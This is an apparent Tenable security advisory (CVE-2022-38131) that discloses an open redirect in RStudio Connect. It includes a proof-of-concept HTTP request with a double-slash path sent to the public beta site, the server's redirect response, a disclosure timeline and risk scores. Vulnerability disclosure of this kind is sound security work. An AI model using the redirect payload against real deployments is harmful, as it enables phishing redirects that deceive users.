

RStudio Connect Open Redirect

Medium

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Synopsis

RStudio Connect (<https://www.rstudio.com/products/connect/>) is affected by an Open Redirect issue. This issue also affects the public beta site (<https://beta.rstudioconnect.com>) of the product.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET //5cexample.com HTTP/1.1 2 Host: beta.rstudioconnect.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Upgrade-Insecure-Requests: 1 9 Sec-Fetch-Dest: document 10 Sec-Fetch-Mode: navigate 11 Sec-Fetch-Site: none 12 Sec-Fetch-User: ?1 13 14</pre>				<pre>1 HTTP/1.1 307 Temporary Redirect 2 Date: Sun, 17 Jul 2022 16:04:06 GMT 3 Content-Type: text/html; charset=utf-8 4 Content-Length: 49 5 Connection: close 6 Set-Cookie: AWSALB= i0meVt3Ms60C9jI7sJDrvjFW6sUvVrsW3EkSNpiw1J80pUbetadZU8Lzpw7nyBBf/b6fNRX4RPT4dPR/MPCyDqfQ02oakndfMNojLRqWbWx2VD 6g9FK+u0oh9VYw; Expires=Sun, 24 Jul 2022 16:04:06 GMT; Path=/ 7 Set-Cookie: AWSALBCORS= i0meVt3Ms60C9jI7sJDrvjFW6sUvVrsW3EkSNpiw1J80pUbetadZU8Lzpw7nyBBf/b6fNRX4RPT4dPR/MPCyDqfQ02oakndfMNojLRqWbWx2VD 6g9FK+u0oh9VYw; Expires=Sun, 24 Jul 2022 16:04:06 GMT; Path=/; SameSite=None; Secure 8 Location: /example.com 9 Server: RStudio Connect v2022.06.2 10 X-Content-Type-Options: nosniff 11 X-Correlation-Id: 6c9bd370-bee2-41d9-8404-b3ae50addfb1 12 X-Frame-Options: DENY 13 14 Temporary Redirect 15 16</pre>			

Solution

There is no solution for this issue provided by the vendor.

Disclosure Timeline

July 18, 2022 – Tenable discloses issue to vendor.

July 25, 2022 – Tenable requests acknowledgement.

August 2, 2022 – Tenable requests acknowledgement.

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If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: [CVE-2022-38131](#)

Tenable Advisory ID: TRA-2022-30

Credit: Joshua Martinelle

CVSSv3 Base / Temporal Score: 5.4 / 4.9

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products: RStudio Connect

Risk Factor: Medium

Advisory Timeline

September 1, 2022 - Initial release.

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin



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